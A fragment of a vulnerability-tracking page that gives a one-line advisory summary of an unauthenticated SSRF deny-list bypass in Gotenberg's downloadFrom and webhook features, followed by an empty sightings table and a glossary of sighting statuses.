"summary": "Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.